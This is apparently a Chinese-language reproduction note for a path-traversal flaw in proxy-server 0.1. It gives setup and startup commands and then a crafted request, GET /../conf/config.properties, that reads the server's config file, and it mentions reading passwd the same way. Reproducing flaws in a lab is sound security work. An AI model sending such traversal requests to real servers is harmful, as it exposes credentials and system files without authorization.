复现过程

这里使用0.1版本

下载地址，复现只下载服务端版本即可，放在一个已经配置好java环境的linux的服务器中，proxy-server-0.1.zip

https://file.nioee.com/d/2e81550ebdbd416c933f/

执行

unzip proxy-server-0.1.zip
mv proxy-server-0.1 /usr/local/
vim /usr/local/proxy-server-0.1/conf/config.properties

看到了配置文件，不做修改

启动服务

cd /usr/local/proxy-server-0.1/bin
chmod +x startup.sh
./startup.sh

环境启动后，访问

http://192.168.31.64:8090/

BP抓包，修改为如下，可以看到刚刚的那个配置文件

GET /../conf/config.properties HTTP/1.1

查看passwd，如果第二次半天出不来，可重新抓个包修改
